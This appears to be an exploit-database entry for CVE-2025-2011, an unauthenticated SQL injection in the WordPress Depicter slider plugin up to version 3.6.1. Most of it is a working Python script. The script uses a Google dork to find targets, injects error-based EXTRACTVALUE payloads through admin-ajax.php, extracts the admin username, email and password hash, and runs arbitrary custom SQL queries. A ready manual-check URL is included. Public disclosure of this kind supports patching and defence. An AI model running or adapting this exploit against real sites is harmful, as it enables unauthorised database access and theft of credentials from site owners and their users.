1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 |
# Exploit Title: WordPress Depicter Plugin 3.6.1 - SQL Injection # Google Dork: inurl:/wp-content/plugins/depicter/ # Date: 2025-05-06 # Exploit Author: Andrew Long (datagoboom) # Vendor Homepage: https://wordpress.org/plugins/depicter/ # Software Link: https://downloads.wordpress.org/plugin/depicter.3.6.1.zip # Version: <= 3.6.1 # Tested on: WordPress 6.x # CVE: CVE-2025-2011 # Description: # The Slider & Popup Builder by Depicter plugin for WordPress is vulnerable to SQL Injection via the 's' parameter in all versions up to, and including, 3.6.1. # The vulnerability exists due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. # This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. # The vulnerability is located in the admin-ajax.php endpoint and can be exploited through the 's' parameter. The PoC demonstrates how to: # 1. Check if a target is vulnerable # 2. Extract admin user details # 3. Execute custom SQL queries # The exploit is provided as a Python script (poc.py) that includes: # - Error-based SQL injection detection # - Admin user information extraction # - Custom SQL query execution capability # - Debug mode for detailed output #!/usr/bin/env python3 import argparse import re import sys import time import html import urllib.parse from urllib.parse import urlparse try: import requests from colorama import Fore, Style, init init(autoreset=True) USE_COLOR = True except ImportError: class MockColorama: def __getattr__(self, name): return "" Fore = Style = MockColorama() USE_COLOR = False print("[!] Missing dependencies. Install with: pip install requests colorama") print("[!] Continuing without colored output...") def print_banner(): banner = f""" {Fore.CYAN}╔════════════════════════════════════════════════════════════════╗ {Fore.CYAN}║ {Fore.RED}CVE-2025-2011 - SQLi in Depicter Slider & Popup Builder <3.6.2 {Fore.CYAN}║ {Fore.CYAN}║ {Fore.GREEN}By datagoboom{Fore.CYAN}║ {Fore.CYAN}╚════════════════════════════════════════════════════════════════╝{Style.RESET_ALL} """ print(banner) def verify_target(url): parsed_url = urlparse(url) if not parsed_url.scheme: url = "http://" + url if url.endswith('/'): url = url[:-1] print(f"{Fore.YELLOW}[*] Target URL: {url}") return url def test_connection(url): try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f"{Fore.GREEN}[+] Successfully connected to the target") return True else: print(f"{Fore.RED}[-] Received status code {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"{Fore.RED}[-] Connection error: {e}") return False def extract_data(url, sql_query, max_length=50, debug=False): payload = f"test%' AND EXTRACTVALUE(1,CONCAT(0x7e,({sql_query}),0x7e))='&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index" target_url = f"{url}/wp-admin/admin-ajax.php?s={payload}" try: if debug: print(f"{Fore.BLUE}[DEBUG] Requesting: {target_url}") response = requests.get(target_url, timeout=20) if debug: print(f"{Fore.BLUE}[DEBUG] Response status: {response.status_code}") decoded_text = html.unescape(response.text) error_pattern = r"XPATH syntax error: '~(.*?)~'" match = re.search(error_pattern, decoded_text) if match: extracted_data = match.group(1) return extracted_data else: if debug: print(f"{Fore.RED}[-] No XPATH syntax error found in response") if "XPATH syntax error" in decoded_text: print(f"{Fore.RED}[-] XPATH error found but regex didn't match. Response excerpt:") print(f"{Fore.RED}[-] {decoded_text[:500]}") else: print(f"{Fore.RED}[-] Response doesn't contain XPATH error. Response excerpt:") print(f"{Fore.RED}[-] {decoded_text[:500]}") return None except requests.exceptions.RequestException as e: print(f"{Fore.RED}[-] Error during extraction: {e}") return None def check_vulnerability(url, debug=False): print(f"{Fore.YELLOW}[*] Checking if the target is vulnerable...") result = extract_data(url, "database()", debug=debug) if result: print(f"{Fore.GREEN}[+] Target is VULNERABLE!") print(f"{Fore.GREEN}[+] Database name: {result}") return True else: result = extract_data(url, "VERSION()", debug=debug) if result: print(f"{Fore.GREEN}[+] Target is VULNERABLE!") print(f"{Fore.GREEN}[+] MySQL version: {result}") return True else: result = extract_data(url, "'test'", debug=debug) if result: print(f"{Fore.GREEN}[+] Target is VULNERABLE!") print(f"{Fore.GREEN}[+] Test value: {result}") return True else: print(f"{Fore.RED}[-] Target does not appear to be vulnerable") manual_check = f"{url}/wp-admin/admin-ajax.php?s=test%' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))='&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index" print(f"{Fore.YELLOW}[*] Try checking manually in your browser: \n{manual_check}") return False def extract_admin_details(url, debug=False): print(f"{Fore.YELLOW}[*] Extracting admin user details...") admin_username = extract_data(url, "SELECT user_login FROM wp_users WHERE ID=1 LIMIT 1", debug=debug) if admin_username: print(f"{Fore.GREEN}[+] Admin username: {admin_username}") admin_email = extract_data(url, "SELECT user_email FROM wp_users WHERE ID=1 LIMIT 1", debug=debug) if admin_email: print(f"{Fore.GREEN}[+] Admin email: {admin_email}") hash_left = extract_data(url, "SELECT LEFT(user_pass,30) FROM wp_users WHERE ID=1 LIMIT 1", debug=debug) if hash_left: hash_right = extract_data(url, "SELECT SUBSTRING(user_pass,31,30) FROM wp_users WHERE ID=1 LIMIT 1", debug=debug) if hash_right: full_hash = hash_left + hash_right else: print(f"{Fore.YELLOW}[*] Could not retrieve full hash - bcrypt hashes are typically 60 chars long") print(f"{Fore.GREEN}[+] Admin password hash: {full_hash}") else: print(f"{Fore.RED}[-] Failed to extract admin password hash") return { "username": admin_username, "email": admin_email, "password_hash": hash_left } else: print(f"{Fore.RED}[-] Failed to extract admin details") return None def extract_custom_data(url, query, debug=False): print(f"{Fore.YELLOW}[*] Executing custom SQL query...") print(f"{Fore.YELLOW}[*] Query: {query}") result = extract_data(url, query, debug=debug) if result: print(f"{Fore.GREEN}[+] Result: {result}") return result else: print(f"{Fore.RED}[-] Failed to execute query or no results returned") return None def main(): parser = argparse.ArgumentParser(description='CVE-2025-2011 - SQLi in Depicter Slider & Popup Builder') parser.add_argument('-u', '--url', required=True, help='Target WordPress URL') parser.add_argument('-m', '--mode', default='check', choices=['check', 'admin', 'custom'], help='Extraction mode: check=vulnerability check, admin=admin details, custom=custom SQL query') parser.add_argument('-q', '--query', help='Custom SQL query (use with -m custom)') parser.add_argument('-d', '--debug', action='store_true', help='Enable debug output') args = parser.parse_args() print_banner() target_url = verify_target(args.url) if not test_connection(target_url): print(f"{Fore.RED}[-] Exiting due to connection failure") sys.exit(1) if not check_vulnerability(target_url, debug=args.debug): if args.mode != 'check': print(f"{Fore.YELLOW}[!] Target may not be vulnerable, but continuing with requested mode...") else: print(f"{Fore.RED}[-] Exiting as target does not appear to be vulnerable") sys.exit(1) if args.mode == 'check': pass elif args.mode == 'admin': extract_admin_details(target_url, debug=args.debug) elif args.mode == 'custom': if not args.query: print(f"{Fore.RED}[-] Custom mode requires a SQL query (-q/--query)") sys.exit(1) extract_custom_data(target_url, args.query, debug=args.debug) print(f"\n{Fore.YELLOW}[!] Exploitation complete") if __name__ == "__main__": main() |